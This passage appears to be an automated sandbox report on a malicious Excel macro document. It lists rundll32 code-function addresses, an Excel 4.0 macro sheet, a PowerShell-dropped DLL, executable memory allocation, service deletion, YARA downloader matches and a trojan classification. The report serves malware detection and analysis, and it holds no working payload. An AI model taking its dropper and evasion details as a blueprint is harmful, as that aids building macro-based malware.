Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034044F 11_2_0034044F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_003364E2 11_2_003364E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00348519 11_2_00348519
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00342550 11_2_00342550
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033A55F 11_2_0033A55F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00335548 11_2_00335548
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_003495FA 11_2_003495FA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033E5CF 11_2_0033E5CF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034C631 11_2_0034C631
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00348606 11_2_00348606
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034A666 11_2_0034A666
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033D6D8 11_2_0033D6D8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_003466CA 11_2_003466CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00337735 11_2_00337735
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034473C 11_2_0034473C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00339714 11_2_00339714
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034176B 11_2_0034176B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033B74D 11_2_0033B74D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00334816 11_2_00334816
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00341889 11_2_00341889
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00338969 11_2_00338969
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034894B 11_2_0034894B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_003509B5 11_2_003509B5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_003359F2 11_2_003359F2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034AA30 11_2_0034AA30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00331A56 11_2_00331A56
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033EA99 11_2_0033EA99
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00338B3D 11_2_00338B3D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034BB23 11_2_0034BB23
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00340B19 11_2_00340B19
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033BB7E 11_2_0033BB7E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034CB5B 11_2_0034CB5B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00347BA6 11_2_00347BA6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00339B83 11_2_00339B83
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00344B87 11_2_00344B87
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00348BE3 11_2_00348BE3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034DBEA 11_2_0034DBEA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00332BD9 11_2_00332BD9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00349BCF 11_2_00349BCF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00337C37 11_2_00337C37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034AC3A 11_2_0034AC3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00333C3C 11_2_00333C3C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00350C14 11_2_00350C14
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00334C5D 11_2_00334C5D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00346C49 11_2_00346C49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034DCF7 11_2_0034DCF7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00345CC4 11_2_00345CC4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00336D24 11_2_00336D24
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00346DF8 11_2_00346DF8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00347DD5 11_2_00347DD5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00339DCF 11_2_00339DCF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00333E3F 11_2_00333E3F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00350E3A 11_2_00350E3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034BE27 11_2_0034BE27
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00335E60 11_2_00335E60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034AE6D 11_2_0034AE6D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00340E53 11_2_00340E53
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033EE81 11_2_0033EE81
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033AEFB 11_2_0033AEFB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00334EE3 11_2_00334EE3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00349EEC 11_2_00349EEC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034DEDC 11_2_0034DEDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00350F33 11_2_00350F33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033CF47 11_2_0033CF47
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033DFF3 11_2_0033DFF3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00337FF2 11_2_00337FF2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D303C 12_2_003D303C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D323F 12_2_003D323F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003EA03A 12_2_003EA03A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003F023A 12_2_003F023A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D7037 12_2_003D7037
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003EE835 12_2_003EE835
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E9E30 12_2_003E9E30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003EBA31 12_2_003EBA31
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003EB227 12_2_003EB227
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003F0014 12_2_003F0014
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D3C16 12_2_003D3C16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D8411 12_2_003D8411
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E7A06 12_2_003E7A06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DF401 12_2_003DF401
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E847F 12_2_003E847F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003EA26D 12_2_003EA26D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E9A66 12_2_003E9A66
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D5260 12_2_003D5260
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D405D 12_2_003D405D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003EF456 12_2_003EF456
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D0E56 12_2_003D0E56
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D1451 12_2_003D1451
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D1651 12_2_003D1651
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E0253 12_2_003E0253
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DF84F 12_2_003DF84F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E6049 12_2_003E6049
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E14BA 12_2_003E14BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D64B3 12_2_003D64B3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DDE99 12_2_003DDE99
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DE49B 12_2_003DE49B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E0C89 12_2_003E0C89
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DE281 12_2_003DE281
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DECFD 12_2_003DECFD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DA2FB 12_2_003DA2FB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003ED0F7 12_2_003ED0F7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E92EC 12_2_003E92EC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E96E8 12_2_003E96E8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D42E3 12_2_003D42E3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D58E2 12_2_003D58E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003ED2DC 12_2_003ED2DC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DCAD8 12_2_003DCAD8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DD6CC 12_2_003DD6CC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E5ACA 12_2_003E5ACA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DA6C7 12_2_003DA6C7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E50C4 12_2_003E50C4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D7F3D 12_2_003D7F3D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D6B35 12_2_003D6B35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003F0333 12_2_003F0333
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D6124 12_2_003D6124
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003EAF23 12_2_003EAF23
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DFF19 12_2_003DFF19
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E7919 12_2_003E7919
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E3516 12_2_003E3516
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D8B14 12_2_003D8B14
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DAF7E 12_2_003DAF7E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D7D69 12_2_003D7D69
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E0B6B 12_2_003E0B6B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D4761 12_2_003D4761
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D995F 12_2_003D995F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003EBF5B 12_2_003EBF5B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E1950 12_2_003E1950
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DAB4D 12_2_003DAB4D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D4948 12_2_003D4948
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E7D4B 12_2_003E7D4B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DC347 12_2_003DC347
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D3746 12_2_003D3746
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D45BB 12_2_003D45BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D75B7 12_2_003D75B7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003EFDB5 12_2_003EFDB5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003F07AD 12_2_003F07AD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E6FA6 12_2_003E6FA6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003EB7A0 12_2_003EB7A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003ED795 12_2_003ED795
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DE991 12_2_003DE991
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DDD91 12_2_003DDD91
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003EC789 12_2_003EC789
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E3F87 12_2_003E3F87
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D9F87 12_2_003D9F87
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E3F84 12_2_003E3F84
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D8F83 12_2_003D8F83
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E89FA 12_2_003E89FA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E61F8 12_2_003E61F8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DD3F3 12_2_003DD3F3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D73F2 12_2_003D73F2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D4DF2 12_2_003D4DF2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003ECFEA 12_2_003ECFEA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E7FE3 12_2_003E7FE3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D1FD9 12_2_003D1FD9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E71D5 12_2_003E71D5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E8FCF 12_2_003E8FCF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003D91CF 12_2_003D91CF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003DD9CF 12_2_003DD9CF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00353C3C 12_2_00353C3C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00359011 12_2_00359011
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036044F 12_2_0036044F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003620BA 12_2_003620BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035F8FD 12_2_0035F8FD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035D6D8 12_2_0035D6D8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036473C 12_2_0036473C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00364116 12_2_00364116
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003713AD 12_2_003713AD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035AB87 12_2_0035AB87
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00357FF2 12_2_00357FF2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003559F2 12_2_003559F2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003695FA 12_2_003695FA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00357C37 12_2_00357C37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036F435 12_2_0036F435
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036AA30 12_2_0036AA30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036C631 12_2_0036C631
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00353E3F 12_2_00353E3F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036AC3A 12_2_0036AC3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00370E3A 12_2_00370E3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036BE27 12_2_0036BE27
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00354816 12_2_00354816
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00370C14 12_2_00370C14
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00368606 12_2_00368606
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00360001 12_2_00360001
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036907F 12_2_0036907F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036A666 12_2_0036A666
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00355E60 12_2_00355E60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036AE6D 12_2_0036AE6D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00370056 12_2_00370056
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00351A56 12_2_00351A56
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00352051 12_2_00352051
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00352251 12_2_00352251
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00360E53 12_2_00360E53
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00354C5D 12_2_00354C5D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00366C49 12_2_00366C49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003570B3 12_2_003570B3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035EA99 12_2_0035EA99
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035F09B 12_2_0035F09B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035EE81 12_2_0035EE81
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00361889 12_2_00361889
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036DCF7 12_2_0036DCF7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035AEFB 12_2_0035AEFB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00354EE3 12_2_00354EE3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003564E2 12_2_003564E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00369EEC 12_2_00369EEC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036A2E8 12_2_0036A2E8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036DEDC 12_2_0036DEDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035B2C7 12_2_0035B2C7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00365CC4 12_2_00365CC4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035E2CC 12_2_0035E2CC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003666CA 12_2_003666CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00357735 12_2_00357735
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00370F33 12_2_00370F33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00358B3D 12_2_00358B3D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00356D24 12_2_00356D24
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036BB23 12_2_0036BB23
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00359714 12_2_00359714
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00368519 12_2_00368519
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00360B19 12_2_00360B19
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035BB7E 12_2_0035BB7E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00355361 12_2_00355361
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00358969 12_2_00358969
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036176B 12_2_0036176B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00362550 12_2_00362550
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035A55F 12_2_0035A55F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036CB5B 12_2_0036CB5B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035CF47 12_2_0035CF47
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00354346 12_2_00354346
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035B74D 12_2_0035B74D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00355548 12_2_00355548
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036894B 12_2_0036894B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003709B5 12_2_003709B5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003581B7 12_2_003581B7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003551BB 12_2_003551BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00367BA6 12_2_00367BA6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036C3A0 12_2_0036C3A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036E395 12_2_0036E395
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035E991 12_2_0035E991
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00364B87 12_2_00364B87
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00359B83 12_2_00359B83
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036D389 12_2_0036D389
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035DFF3 12_2_0035DFF3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00366DF8 12_2_00366DF8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00368BE3 12_2_00368BE3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0036DBEA 12_2_0036DBEA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00367DD5 12_2_00367DD5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00352BD9 12_2_00352BD9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00369BCF 12_2_00369BCF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00359DCF 12_2_00359DCF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035E5CF 12_2_0035E5CF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002AF8FD 13_2_002AF8FD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002AAB87 13_2_002AAB87
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002AE991 13_2_002AE991
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002BBE27 13_2_002BBE27
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002BAC3A 13_2_002BAC3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002A3E3F 13_2_002A3E3F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002A3C3C 13_2_002A3C3C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002C0E3A 13_2_002C0E3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002BC631 13_2_002BC631
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002BAA30 13_2_002BAA30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002A7C37 13_2_002A7C37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002BF435 13_2_002BF435
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: 41B1.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\rundll32.exe Process Stats: CPU usage > 98%
Found a hidden Excel 4.0 Macro sheet
Source: imedpub.com_10.xls Macro extractor: Sheet name: Macro1
Source: imedpub.com_10.xls Macro extractor: Sheet name: Macro1
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\Public\Documents\ssd.dll 7A4A00A0FD4DBF14780E1536313A65728FE875D3B05973043FE6A0F61DAADF4A
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Contains functionality to delete services
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0035E249 DeleteService, 12_2_0035E249
Yara signature match
Source: imedpub.com_10.xls, type: SAMPLE Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: imedpub.com_10.xls, type: SAMPLE Matched rule: INDICATOR_OLE_Excel4Macros_DL2 author = ditekSHen, description = Detects OLE Excel 4 Macros documents acting as downloaders
Source: C:\Users\user\Desktop\imedpub.com_10.xls, type: DROPPED Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: C:\Users\user\Desktop\imedpub.com_10.xls, type: DROPPED Matched rule: INDICATOR_OLE_Excel4Macros_DL2 author = ditekSHen, description = Detects OLE Excel 4 Macros documents acting as downloaders
Creates files inside the system directory
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Qnjiyxnfa\ Jump to behavior
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 10032B38 appears 108 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 100201F1 appears 34 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 100200FD appears 72 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 10030D27 appears 288 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 1001F9FC appears 52 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 10030D5A appears 82 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 100359C1 appears 46 times
Document contains embedded VBA macros
Source: imedpub.com_10.xls OLE indicator, VBA macros: true
Source: imedpub.com_10.xls.0.dr OLE indicator, VBA macros: true
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\Public\Documents\ssd.dll Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLS@21/13@1/47
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: imedpub.com_10.xls OLE indicator, Workbook stream: true
Source: imedpub.com_10.xls.0.dr OLE indicator, Workbook stream: true
